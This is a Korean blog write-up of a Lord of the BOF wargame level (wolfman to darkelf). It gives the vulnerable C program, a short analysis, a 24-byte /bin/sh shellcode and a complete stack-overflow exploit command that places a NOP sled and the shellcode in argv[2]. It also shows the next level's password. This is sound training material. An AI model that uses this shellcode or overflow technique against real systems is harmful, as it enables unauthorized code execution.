eli_ez3r
eli_ez3r
eli_ez3r
전체 방문자
오늘
어제
  • 분류 전체보기 (202)
    • 0x01 끄적끄적 :) (57)
      • Network (5)
      • Security (14)
      • Reversing (2)
      • Forensic (5)
      • Operation System (10)
      • Development (10)
      • Solution (7)
      • 보안 상식 (3)
    • 0x02 Study :) (127)
      • Pwnable (59)
      • Webhacking (56)
      • Reversing (11)
      • Machine Learning (1)
    • 0x03 ETC :) (16)
      • IT Unpacking (5)
      • IT Information (1)
      • Enjoy (4)
      • Etc (6)
    • Admin :) (0)
      • 0x01 (0)

블로그 메뉴

  • 홈
  • 태그
  • 방명록

공지사항

  • github.io 블로그 개설

인기 글

태그

  • 패스워드
  • hakcing
  • hacking
  • 과정
  • 문제
  • pwnable
  • 오버플로우
  • 해커
  • school
  • 메모리
  • password
  • overflow
  • 공격
  • webhacking.kr
  • buffer
  • write
  • 풀이
  • LEVEL
  • 문제풀이
  • BOF
  • 스쿨
  • attack
  • web
  • hacker
  • LOB
  • Up
  • 암호
  • 설명
  • 해킹
  • hack

최근 댓글

최근 글

티스토리

hELLO · Designed By 정상우.
eli_ez3r

eli_ez3r

[LOB] Level6: wolfman → darkelf (renew)
0x02 Study :)/Pwnable

[LOB] Level6: wolfman → darkelf (renew)

2018. 8. 29. 02:04

 

darkelf

6.darkelf.pdf

keyword :

/*
        The Lord of the BOF : The Fellowship of the BOF
        - darkelf
        - egghunter + buffer hunter + check length of argv[1]
*/

#include <stdio.h>
#include <stdlib.h>

extern char **environ;

main(int argc, char *argv[])
{
	char buffer[40];
	int i;

	if(argc < 2){
		printf("argv error\n");
		exit(0);
	}

	// egghunter
	for(i=0; environ[i]; i++)
		memset(environ[i], 0, strlen(environ[i]));

	if(argv[1][47] != '\xbf')
	{
		printf("stack is still your friend.\n");
		exit(0);
	}

	// check the length of argument
	if(strlen(argv[1]) > 48){
		printf("argument is too long!\n");
		exit(0);
	}

	strcpy(buffer, argv[1]);
	printf("%s\n", buffer);

    // buffer hunter
    memset(buffer, 0, 40);
}

 


 

0x01. Analysis

 

argv[1]의 크기가 48보다 크면 안된다.

해당 문제 argv[1]의 크기를 제한하고 있으니 argv[2]에 넣으면 끝 아닌가? 😏

 


 

0x02. Exploit

 

shell(24byte) = \x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80

argv[2]에 NOP슬라이드와 쉘코드를 넣기 위해 core덤프를 통해 해당 주소를 구해오자.

 

 



argv[2]의 주소는 0xbffffbde로 확인되었다.

 


./darkelf `python -c 'print "A"*44+"\xde\xfb\xff\xbf"'` `python -c 'print "\x90"*50+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"'`

 

 

darkelf / kernel crashed

 



저작자표시 비영리 변경금지 (새창열림)
    '0x02 Study :)/Pwnable' 카테고리의 다른 글
    • [LOB] Level7: darkelf → orge (renew)
    • [LOB] Level5: orc → wolfman (renew)
    • [LOB] Level4: goblin → orc (renew)
    • [LOB] Level3: cobolt → goblin (renew)
    eli_ez3r
    eli_ez3r

    티스토리툴바